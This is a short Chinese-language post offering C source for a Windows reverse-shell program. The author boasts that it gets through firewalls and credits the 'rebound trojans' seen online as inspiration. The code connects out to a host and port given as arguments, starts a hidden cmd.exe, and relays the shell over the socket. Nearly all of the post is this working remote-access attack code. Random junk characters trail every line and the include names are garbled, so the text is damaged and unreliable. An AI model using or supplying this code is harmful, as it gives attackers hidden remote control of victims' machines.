Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 y-gXGvZ  
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/* ============================== 5l%g3F  
Rebound port in Windows NT }Gx@1)??  
By wind,2006/7 uf:'"7V7  
===============================*/ N%e^2O)  
#include ]&P 4QT)f  
#include t'.:"H8BI  
}9;mtMR$  
#pragma comment(lib,"wsock32.lib") b' ~WS4xlD  
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void OutputShell(); 5 [4{1v  
SOCKET sClient; Re'3bs:+  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; HYY+Fv5  
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void main(int argc,char **argv) t"e%'dFv  
{ NZFUCD)  
WSADATA stWsaData; :()K2<E  
int nRet; OIjG`~Rx  
SOCKADDR_IN stSaiClient,stSaiServer; L&uPNcZ`-  
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if(argc != 3) =e9<.{]S/  
{ a( N;|<  
printf("Useage:\n\rRebound DestIP DestPort\n"); <54KWC86)J  
return; ;z+}|>!  
} `G:hC5B  
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WSAStartup(MAKEWORD(2,2),&stWsaData); LCq1F(q  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s
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stSaiClient.sin_family = AF_INET; OqmW lN.?  
stSaiClient.sin_port = htons(0); ,6"[vb#*3  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); $Q,]2/o6n  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) {]N7kY.W  
{ N$.ls48a4-  
printf("Bind Socket Failed!\n"); ((^vsKT  
return; `Ao"fRv#  
} -SzCeq(p%5  
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stSaiServer.sin_family = AF_INET; ;4Xx5*E  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); zN-Y=-c  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Ea0EG>Y  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Y/pK  
{ 1YU?+K  
printf("Connect Error!"); J{Ld)Q,^  
return; #'RfwldD9  
} yC4%z)t&R  
OutputShell(); frV_5yK'  
}
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void OutputShell() bQI.Qk  
{ w6^TwjjZ$  
char szBuff[1024]; 9[`\ZGWD  
SECURITY_ATTRIBUTES stSecurityAttributes; f2v~
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OSVERSIONINFO stOsversionInfo; (#>Q#Izr  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ,jD-fL/:  
STARTUPINFO stStartupInfo; v3kT~uv  
char *szShell; 47A[-&y*X  
PROCESS_INFORMATION stProcessInformation; O(_f&a  
unsigned long lBytesRead; fWF!%|L  
s!Iinc^p  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); (/t{z=  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); gT,iH.  
stSecurityAttributes.lpSecurityDescriptor = 0; r]wy-GT  
stSecurityAttributes.bInheritHandle = TRUE; y S<&d#:"  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Kf)$/W4  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); s=z$;1C  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); I+jc  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |O"Pb`V+  
stStartupInfo.wShowWindow = SW_HIDE; 'gsO}xj  
stStartupInfo.hStdInput = hReadPipe; yHZ&5  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Wv,?xm  
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GetVersionEx(&stOsversionInfo); U2\k7I  
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switch(stOsversionInfo.dwPlatformId) 2_Cp}Pj  
{ zW.Ltz  
case 1:
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szShell = "command.com"; y'JJ#7O=  
break; zhyf}Ta'  
default: 
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szShell = "cmd.exe"; ~i>'3j0@k  
break; |]-~yYqP3  
} VwarU(*  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); vH E:TQo4  
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send(sClient,szMsg,77,0); eq9qE^[Z&  
while(1) ZOx;]D"s  
{ UM0#S}  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 5D3&6DCH  
if(lBytesRead) M[_Ptqjb  
{ |47 2X&e  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 2t=&h|6EW  
send(sClient,szBuff,lBytesRead,0); 2{g&9  
} LVL#qNIu  
else : >$v@d  
{ (?.h<v1}  
lBytesRead=recv(sClient,szBuff,1024,0); EvA8<o  
if(lBytesRead<=0) break; " ;\EU4R  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); PX?^v8wlqL  
} ]a:T]x6'  
} 
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return; .l,NmF9  
}